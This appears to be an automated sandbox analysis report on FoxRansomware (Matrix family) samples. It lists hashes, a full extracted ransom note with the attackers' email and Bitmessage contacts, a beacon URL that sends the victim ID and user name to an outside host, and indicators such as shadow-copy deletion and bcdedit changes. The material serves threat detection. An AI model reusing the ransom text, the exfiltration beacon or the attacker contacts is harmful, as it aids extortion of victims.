Overview
overview
10Static
static
3FoxRansomw...65.exe
windows7-x64
10FoxRansomw...65.exe
windows10-2004-x64
10FoxRansomw...a7.exe
windows7-x64
10FoxRansomw...a7.exe
windows10-2004-x64
10FoxRansomw...20.exe
windows7-x64
10FoxRansomw...20.exe
windows10-2004-x64
10FoxRansomw...0b.exe
windows7-x64
10FoxRansomw...0b.exe
windows10-2004-x64
10FoxRansomw...53.exe
windows7-x64
10FoxRansomw...53.exe
windows10-2004-x64
10FoxRansomw...b1.exe
windows7-x64
10FoxRansomw...b1.exe
windows10-2004-x64
10Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system - submitted
13/02/2024, 05:15
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-20231215-en
General
- Target FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
- Size 1.2MB
- Sample240213-fxzrcaff73
- SHA256 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53
- MD5 1fa1b6d4b3ed867c1d4baffc77417611
- SHA1 afb5e385f9cc8910d7a970b6c32b8d79295579da
- SHA512 0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5
- SSDEEP 24576:K/SA+2lraRrjSJR5ezmT1dM9bBkNIDreFqO:2Xl9Ife
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://myexternalip.com/raw
Extracted
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#FOX_README#.rtf
- {\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected] \par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 45AA0F52559CEC4B\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 45AA0F52559CEC4B\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 UCBxvlHp\cf0\f1\fs32\lang1049\par \par }
-
[email protected]\cf1\fs24\par
-
https://bitmsg.me
-
https://bitmsg.me/users/sign_up
-
https://bitmsg.me/users/sign_in
Signatures
- Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
description flow ioc Process File created C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\All Users\Package Cache\{662A0088-6FCD-45DD-9EA7-68674058AED5}v14.30.30704\packages\vcRuntimeMinimum_amd64\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\Office16\ADDINS\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EXPEDITN\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\pt-br\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\th\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\js\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nb-no\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\be\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\Saved Games\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\vfs\Fonts\private\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\da-dk\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fi-fi\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\EVRGREEN\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\cy-GB\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\Office16\FPA_f33\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\uk-ua\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\it-it\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\es-es\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\root\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\es-es\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\css\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\es-es\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\ProgramData\Microsoft\Diagnosis\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Google\Chrome\Application\106.0.5249.119\Extensions\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Portal\1033\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\Templates\1033\GettingStarted16\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nb-no\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-cn\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-il\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\da\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\ru-ru\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\es\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\zh-cn\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nl-nl\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\nl-nl\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\_locales\zu\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe HTTP URL 136 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=ZHCNTALV|Admin&sid=OOZVNLNk0Kq10FEB&phase=45AA0F52559CEC4B|11826|6GB Process not Found File created C:\Program Files\Microsoft Office\root\Licenses\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jre-1.8\lib\management\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hr-hr\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files\Java\jre-1.8\lib\amd64\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\da-dk\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\#FOX_README#.rtf 91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe - Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 10064 bcdedit.exe 332 bcdedit.exe - Blocklisted process makes network request 1 IoCs
flow pid Process 148 5264 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS HPTbJaR964.exe - Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" HPTbJaR964.exe - Checks computer location settings 2 TTPs 1 IoCs
